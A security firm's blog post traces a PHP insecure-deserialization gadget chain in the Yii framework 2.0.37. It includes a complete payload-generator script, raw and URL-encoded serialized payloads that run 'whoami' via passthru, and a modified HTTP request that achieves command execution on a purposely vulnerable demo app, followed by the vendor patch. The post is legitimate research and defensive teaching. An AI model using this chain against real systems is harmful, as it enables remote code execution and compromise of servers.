RedTeam Pentesting Blog

RedTeam Pentesting GmbH - Blog

4 January 2021

Insecure Deserialization - How to Trace Down a Gadget Chain

Insecure deserialization vulnerabilities potentially result in the ability to remotely execute code on the affected system. Once such a vulnerability is identified it is still necessary to compose a gadget chain that provides this ability. This post deals with the complex but also fascinating process of finding a gadget chain in the Yii PHP framework. Finally, the discovered gadget chain is demonstrated by means of an example application.

Since 2017 insecure deserialization is included in the OWASP Top 10 list that covers the most essential vulnerability classes for web applications.

Background Info: Several object-oriented programming languages allow to serialize objects, so that they can be easily transferred and later deserialized to be processed again. Some of them trigger side effects during deserialization. In that case, special care must be taken when deserializing user-controlled data, or else insecure deserialization vulnerabilities may occur. In order to exploit such a vulnerability, attackers must provide a malicious serialized object to the application. Upon deserialization, a combination of side effects performs attacker-supplied actions, similar to executing attacker-supplied code. A combination of side effects is called gadget chain. Gadget chains can be found by inspecting the affected application for classes that provide side effects and composing affected instances. In order to map all classes available for an exploit, it often helps to identify dependencies such as frameworks or libraries used by the vulnerable application.

Some time ago during an engagement we encountered an application that uses the Yii framework. After we had identified an existing insecure deserialization vulnerability, we were looking for a publicly known gadget chain in the Yii framework. As nothing could be found for the specific version, we started to analyse the open-source Yii framework to find a gadget chain.

Since the test, a third party released this security advisory (CVE-2020-15148). It describes the possibility to achieve remote code execution in PHP software which uses the Yii framework given an existing insecure deserialization vulnerability. Note that the actual deserialization vulnerability does not reside in the Yii framework, but in the application itself, and that the security advisory only hints to the existence of a gadget chain. Nevertheless, using the described object as payload was mitigated in version 2.0.38 of the Yii framework.

The security advisory mentions the PHP class yii\db\BatchQueryResult as serialization payload which is the same we found during our analysis. Furthermore, recently a gadget chain built with an object of BatchQueryResult was submitted to the PHPGGC project. However, in the following we will describe the process of finding another variation of this gadget chain:

Identifying the Gadget Chain

As already stated before, an object of the PHP class yii\db\BatchQueryResult can be used as payload to trigger the remote code execution. However, to run through the whole process of finding a gadget chain, we will start the search for a gadget chain by pretending not to know about that.

PHP classes may define so-called magic methods. They function as hooks: If a class defines one (or more) of these, they are automatically executed on certain occasions. For example the method __wakeup() is called when an PHP object is deserialized using the unserialize() function. Another magic method is __destruct() which is called when an object is about to be garbage-collected. As these two methods will always be called some time during deserialization, they play an important role in gadget chains.

Therefore, we searched the source code of the Yii framework version 2.0.37 for magic methods. A search for __destruct yields only one result, the aforementioned class BatchQueryResult:

public function __destruct()
{
    // make sure cursor is closed
    $this->reset();
}

Next, we have a look at the reset() function that is called here:

public function reset()
{
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}

In the second line, the method close() of the _dataReader instance is called. Thus, as a next step, the source code was searched for a class that implements a close() method and which would likely be used as the _dataReader. A definition can be found in the class yii\web\DbSession:

public function close()
{
    if ($this->getIsActive()) {
        // prepare writeCallback fields before session closes
        $this->fields = $this->composeFields();
        YII_DEBUG ? session_write_close() : @session_write_close();
    }
}

The method getIsActive() is defined in one of the parent classes, yii\web\Session. It uses session_status() to find out whether the method is called in the context of an existing session:

public function getIsActive()
{
    return session_status() === PHP_SESSION_ACTIVE;
}

Now let’s go back to the close() function where the getIsActive() function is called. If its return value is truthy, i.e. iff close() is called with a PHP session, the following line will be executed:

$this->fields = $this->composeFields();

The implementation of the method composeFields() can be found in the class yii\web\MultiFieldSession:

protected function composeFields($id = null, $data = null)
{
    $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
    if ($id !== null) {
        $fields['id'] = $id;
    }
    if ($data !== null) {
        $fields['data'] = $data;
    }
    return $fields;
}

Let’s look at the first line of composeFields(): If the property writeCallback is set, it is passed to PHP function call_user_func(), using $this as the second parameter.

The PHP function call_user_func() can be used to dynamically invoke PHP functions, for example by their function names. There is little documentation on what happens if an array is passed as the first argument. The following example call, taken from the examples of the PHP manual illustrates that case. Here, an object’s method is called by using an array as argument that contains the object as first and the method name as second element:

$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod')); // same as: $obj.myCallbackMethod()

The example demonstrates how we can call a defined method of an arbitrary object in the scope.

At this point, let’s sum up what we got so far: We figured out that the class BatchQueryResult has a private property called $_dataReader. This is set to the type DbSession. A DbSession in turn has a property called $writeCallback. Upon destruction of an object of BatchQueryResult, call_user_func() is called with $_dataReader->$writeCallback as the first argument.

The following listing shows a minimal snippet building the aforementioned structure:

namespace yii\db
{
    class BatchQueryResult
    {
        private $_dataReader;

        function __construct()
        {
            $this->_dataReader = new \yii\web\DbSession();
        }
    }
}

namespace yii\web
{
    class DbSession
    {
        public $writeCallback;
    }
}

namespace main
{
    $obj = new \yii\db\BatchQueryResult();
}

We decided to build upon this minimal implementation in order to be able to set the $_dataReader property, which is private in the original implementation. As additional benefit the minimal implementation is much easier to comprehend because it allows us to focus on the functionality really needed for the exploit. Remember also that we saw that the gadget only works with PHP sessions. However, we expect that this requirement will be fulfilled for most web applications.

So far, the gadget chain would allow us to call instance methods from the scope. However, our goal as attackers is not only to call some internal methods, but to execute arbitrary PHP code. For this reason, we search for class methods that, when invoked via call_user_func() allow us to execute arbitrary PHP code. Decent candidates for these kind of attacks are methods that invoke the PHP function eval(). A search for eval in the Yii source code reveals the following method provided by the class yii\caching\ExpressionDependency:

protected function generateDependencyData($cache)
{
    return eval("return {$this->expression};");
}

That seems to be exactly what we are looking for: An invocation of eval(), which evaluates PHP code given as an argument. In this case the PHP code to be evaluated is stored in the property $expression.

So again, let’s build a minimal test case around the internal class structure of ExpressionDependency:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
namespace yii\caching
{
    class ExpressionDependency
    {
        public $expression = 'passthru("whoami");';

        protected function generateDependencyData($cache)
        {
            return eval("return {$this->expression};");
        }
    }
}

namespace main
{
    $expression = new \yii\caching\ExpressionDependency();
    $callback = array($expression, "generateDependencyData");
    call_user_func($callback, null);
}

Note that our test case invokes call_user_func() with null as a second argument (see line 18). This is because the method generateDependencyData() actually expects a second parameter, $cache, even though the value of the parameter is actually not used.

Unfortunately, the execution of the test script results in an error:

$ php test-payload.php
PHP Warning:  call_user_func() expects parameter 1 to be a valid callback,
cannot access protected method
yii\caching\ExpressionDependency::generateDependencyData() [...]

As mentioned in the error message it is not possible to call methods having the protected visibility this way. However, further analysis reveals that the associated base class yii\caching\Dependency provides the following function which in turn calls the function generateDependencyData() in its definition:

public function evaluateDependency($cache)
{
    if ($this->reusable) {
        $hash = $this->generateReusableHash();
        if (!array_key_exists($hash, self::$_reusableData)) {
            self::$_reusableData[$hash] = $this->generateDependencyData($cache);
        }
        $this->data = self::$_reusableData[$hash];
    } else {
        $this->data = $this->generateDependencyData($cache);
    }
}

The function evaluateDependency() contains two calls to the function generateDependencyData(). The simplest way of making sure that generateDependencyData() is executed is to set $reusable to false. Fortunately, this is the default initialization value. So let’s try again by calling evaluateDependency() instead of generateDependencyData():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
namespace yii\caching
{
    class ExpressionDependency
    {
        public $expression = 'passthru("whoami");';

        protected function generateDependencyData($cache)
        {
            return eval("return {$this->expression};");
        }

        public function evaluateDependency($cache)
        {
            $this->data = $this->generateDependencyData($cache);
        }
    }
}

namespace main
{
    $expression = new \yii\caching\ExpressionDependency();
    $callback = array($expression, "evaluateDependency");
    call_user_func($callback, null);
}

This indeed works:

$ php test-payload.php
vagrant

The output shows the username vagrant confirming that the expression (see line 5 in the listing above) was evaluated and the system command whoami was executed using the PHP function passthru().

Now we can combine:

  • A class that upon object destruction invokes an arbitrary class’ member method via call_user_func()
  • Another class’ member method that executes arbitrary PHP code (and operating system commands) upon invocation

Building the Exploit Payload

As the PHP serialization only depends on namespace, class and property names, we can serialize our minimal implementation and use it as the exploit payload. The following PHP script assembles all required classes (as introduced before) and sets their properties to the desired values.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace yii\web
{
    class DbSession
    {
        public $writeCallback;
    }
}

namespace yii\caching
{
    class ExpressionDependency
    {
        public $expression;
    }
}

namespace yii\db
{
    class BatchQueryResult
    {
        private $_dataReader;

        function __construct($code)
        {
            $expression = new \yii\caching\ExpressionDependency();
            $expression->expression = $code;
            $writeCallback = array($expression, "evaluateDependency");
            $this->_dataReader = new \yii\web\DbSession();
            $this->_dataReader->writeCallback = $writeCallback;
        }
    }
}

namespace main
{
    if($argc < 2)
    {
        echo("Usage: php {$argv[0]} [code]");
        exit();
    }
    $ser = serialize(new \yii\db\BatchQueryResult($argv[1]));
    echo($ser . "\n");
    echo("===================================================\n");
    echo("urlencoded: \n");
    echo(urlencode($ser) . "\n");
}
?>

The classes and methods used should look familiar by now. We defined a custom constructor for BatchQueryResult that allows us to provide the desired PHP code as the $code parameter (line 24). $code is assigned with the first command-line argument passed to the script ($argv[1], line 42). The constructor instantiates the aforementioned classes with the desired properties (lines 26 to 30). Finally, the constructed instance of BatchQueryResult is serialized (line 42).

The PHP script can be run as follows:

$ php yii2-gadget.php 'passthru("whoami");'
O:23:"yii\db\BatchQueryResult":1:{s:36:"yii\db\BatchQueryResult_dataReade
r";O:17:"yii\web\DbSession":1:{s:13:"writeCallback";a:2:{i:0;O:32:"yii\cach
ing\ExpressionDependency":1:{s:10:"expression";s:19:"passthru("whoami");";}
i:1;s:18:"evaluateDependency";}}}
===================================================
url-encoded:
O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb
%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cweb%5CDbSession%22
%3A1%3A%7Bs%3A13%3A%22writeCallback%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A32%3A%22yii
%5Ccaching%5CExpressionDependency%22%3A1%3A%7Bs%3A10%3A%22expression%22%3Bs
%3A19%3A%22passthru%28%22whoami%22%29%3B%22%3B%7Di%3A1%3Bs%3A18%3A%22evalua
teDependency%22%3B%7D%7D%7D

It creates the payload with the given code line and prints the serialized object in raw format as well as URL-encoded. This blog post will not address the PHP serialization format in detail, if you’re interested in the details have a look at the PHP manual page of the serialize() function.

Exploiting a Vulnerable Example Application

Now, we finally want to demonstrate that the payload works by means of an example application based on the Yii framework in version 2.0.37.

Note: The application shown in this blog post has been developed specifically for the purpose of demonstrating the exploit. It is intentionally vulnerable to insecure deserialization.

Imagine you are engaged to test the website depicted in the following. It can be easily identified that the Yii framework is applied here.

After submitting the poll, next, the user is requested to fill in name and email address to participate in the corresponding raffle.

Usually, during the analysis of a web application we use an HTTP attack proxy enabling us to analyze the HTTP traffic. While intercepting the HTTP requests one which is sent after submission of the entered name and email address appears to be interesting:

POST / HTTP/1.1
Host: app.example.com:8443
Cookie: PHPSESSID=4alrpsnbr3go1f06e1f87hgnvo;
_csrf=042c0a2c4e23c4845f8f58044c96d83dc9421f6440a5d8aab5537d46f6a603e5a%3A2%3A[...]
[...]

_csrf=EiPg3-BWdBGZbV-DKIMYuPpQkyixCMFfhvQz7SfZwCNES6Hn1CVHes9UOvZL-VbBpTn3Upxch[...]&
UserForm[name]=Name&
UserForm[email]=name@example.com&
UserForm[selected]=O:24:"app\models\PollSelection":1:{s:8:"selected";s:1:"0";}&
submit-button=

The highlighted line shows an HTTP POST parameter UserForm[selected] which apparently contains a serialized PHP object. Furthermore, it is noted that apparently a PHP session was created as the HTTP cookie PHPSESSID was set for this application. This is important for our gadget chain to work.

Next, we use the previously described PHP script to create a malicious serialized object. The object embeds the PHP code exit(passthru("whoami")); which will hopefully lead to the execution of the system command whoami. Here, the exit() function is additionally used to directly stop the execution of the vulnerable script after the system command was executed. This allows us to get the command’s output regardless of the application’s behaviour. The script is run as follows:

$ php yii2-gadget.php 'exit(passthru("whoami"));'
O:23:"yii\db\BatchQueryResult":1:{s:36:"yii\db\BatchQueryResult_dataReade
r";O:17:"yii\web\DbSession":1:{s:13:"writeCallback";a:2:{i:0;O:32:"yii\cach
ing\ExpressionDependency":1:{s:10:"expression";s:25:"exit(passthru("whoami"));
";}i:1;s:18:"evaluateDependency";}}}
===================================================
url-encoded:
O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb
%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cweb%5CDbSession%22
%3A1%3A%7Bs%3A13%3A%22writeCallback%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A32%3A%22yii
%5Ccaching%5CExpressionDependency%22%3A1%3A%7Bs%3A10%3A%22expression%22%3Bs
%3A25%3A%22exit%28passthru%28%22whoami%22%29%29%3B%22%3B%7Di%3A1%3Bs%3A18%3
A%22evaluateDependency%22%3B%7D%7D%7D

The affected parameter of the intercepted HTTP POST request is replaced with the malicious payload before the request is sent to the server:

POST / HTTP/1.1
Host: app.example.com:8443
Cookie: PHPSESSID=4alrpsnbr3go1f06e1f87hgnvo;
_csrf=042c0a2c4e23c4845f8f58044c96d83dc9421f6440a5d8aab5537d46f6a603e5a%3A2%3A[...]
[...]

_csrf=EiPg3-BWdBGZbV-DKIMYuPpQkyixCMFfhvQz7SfZwCNES6Hn1CVHes9UOvZL-VbBpTn3Upxch[...]&
UserForm[name]=Name&
UserForm[email]=name@example.com&
UserForm[selected]=O:23:"yii\db\BatchQueryResult":1:{s:36:[...]}&
submit-button=

The listing shows the serialized object in raw format for readability reasons, but actually the URL-encoded value is sent here instead because of null bytes in the serialization payload.

As shown in the following, the payload works! The application displays the command’s output with the user www-data which is used to run the application.

Thus, we verified that, firstly, the identified gadget chain works and, secondly, the example application is vulnerable to insecure deserialization.

The Patch

The usage of the described gadget chain was mitigated by Yii developers by adding the following function to the class BatchQueryResult:

public function __wakeup()
{
    throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}

As explained before the __wakeup() method will be executed at the time an object is deserialized. Here, __wakeup() throws an exception. This prevents objects of the type BatchQueryResult from being deserialized, effectively stopping the gadget chain.

If you use the Yii framework for developing web applications, please remember that this only mitigates this particular gadget chain. As it is difficult to rule out the existence of further different gadget chains, it is still critical to avoid the deserialization of untrusted data. Therefore, an update of the framework can only mitigate this particular exploit but not all the risks resulting from untrusted object deserialization.

Conclusion

We managed to find a previously unknown gadget chain by inspecting the code of the open-source Yii framework.

Furthermore, we recently submitted the gadget chain to the well-known open-source project PHPGGC which holds payloads for many PHP frameworks or libraries. To build the payload, PHPGGC can be run as follows:

$ ./phpggc -u Yii2/RCE2 "exit(passthru('whoami'));"